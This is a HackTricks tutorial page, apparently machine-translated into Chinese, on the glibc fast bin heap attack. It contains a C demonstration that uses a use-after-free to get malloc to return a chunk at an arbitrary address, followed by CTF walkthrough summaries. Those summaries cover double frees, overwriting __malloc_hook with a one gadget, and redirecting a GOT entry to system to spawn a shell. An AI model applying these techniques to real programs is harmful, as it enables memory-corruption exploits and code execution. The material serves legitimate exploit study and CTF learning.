Fast Bin Attack

Reading time: 11 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks

基本信息

有关快速分配的更多信息,请查看此页面:

Bins & Memory Allocations

由于快速分配是一个单链表,因此其保护措施比其他分配少,修改已释放的快速分配块中的地址就足以在任何内存地址分配一个块

总结:

c
ptr0 = malloc(0x20);
ptr1 = malloc(0x20);

// Put them in fast bin (suppose tcache is full)
free(ptr0)
free(ptr1)

// Use-after-free
// Modify the address where the free chunk of ptr1 is pointing
*ptr1 = (unsigned long)((char *)&<address>);

ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it

您可以在一个非常清晰的代码示例中找到完整的例子,来自 https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html:

c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");

puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;

ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);

printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);


printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");

int stackVar = 0x55;

printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);

printf("Proceeding that I'm going to write just some data to the three heap chunks\n");

char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";

memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);

printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");

printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);

printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");

free(ptr0);
free(ptr1);
free(ptr2);

printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);

printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");


printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");

*ptr1 = (unsigned long)((char *)&stackVar);

printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);


printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");

unsigned long *ptr3, *ptr4, *ptr5;

ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);

printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);

printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}

caution

如果可以用一个大数字覆盖全局变量 global_max_fast 的值,这将允许生成更大尺寸的快速 bin 块,可能在之前无法进行快速 bin 攻击的场景中执行。这种情况在 large bin attackunsorted bin attack 的上下文中非常有用。

示例

  • CTF https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html:
  • 可以分配块,释放它们,读取其内容并填充它们(通过溢出漏洞)。
  • 合并块以进行信息泄露:该技术基本上是利用溢出创建一个假的 prev_size,使一个前面的块放入一个更大的块中,因此在分配包含另一个块的更大块时,可以打印其数据并泄露一个 libc 地址(main_arena+88)。
  • 覆盖 malloc hook:为此,并利用之前的重叠情况,可以有 2 个块指向相同的内存。因此,释放它们两个(在中间释放另一个块以避免保护)可以使同一个块在快速 bin 中出现 2 次。然后,可以再次分配它,覆盖下一个块的地址,使其指向 __malloc_hook 之前的一点(因此它指向一个 malloc 认为是空闲大小的整数 - 另一个绕过),再次分配它,然后分配另一个块,该块将接收指向 malloc hooks 的地址。
    最后,一个 one gadget 被写入其中。
  • CTF https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html:
  • 存在堆溢出和使用后释放以及双重释放,因为当一个块被释放时,可以重用和重新释放指针。
  • Libc 信息泄露:只需释放一些块,它们将获得指向主 arena 位置的一部分的指针。由于可以重用已释放的指针,只需读取此地址。
  • 快速 bin 攻击:所有分配的指针都存储在一个数组中,因此我们可以释放几个快速 bin 块,并在最后一个块中覆盖地址以指向这个指针数组之前的一点。然后,分配几个相同大小的块,我们将首先获得合法的一个,然后是包含指针数组的伪造一个。我们现在可以覆盖这个分配指针,使 free 的 GOT 地址指向 system,然后在块 1 中写入 "/bin/sh",然后调用 free(chunk1),这将执行 system("/bin/sh")
  • CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html
  • 另一个例子是利用一个字节溢出在未排序的 bin 中合并块并获取 libc 信息泄露,然后执行快速 bin 攻击以用一个 gadget 地址覆盖 malloc hook。
  • CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html
  • 在利用未排序的 bin 进行信息泄露后,通过 UAF 泄露 libc 地址和 PIE 地址,此 CTF 的利用使用快速 bin 攻击在指向受控块的指针所在的位置分配一个块,因此可以覆盖某些指针以在 GOT 中写入一个 gadget。
  • 你可以找到通过未排序的 bin 攻击滥用的快速 bin 攻击:
  • 请注意,在执行快速 bin 攻击之前,通常会滥用空闲列表以泄露 libc/heap 地址(在需要时)。
  • Robot Factory. BlackHat MEA CTF 2022
  • 我们只能分配大于 0x100 的块。
  • 使用未排序的 bin 攻击覆盖 global_max_fast(由于 ASLR,成功率为 1/16,因为我们需要修改 12 位,但必须修改 16 位)。
  • 快速 bin 攻击以修改全局块数组。这提供了一个任意读/写原语,允许修改 GOT 并将某些函数指向 system

Unsorted Bin Attack

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks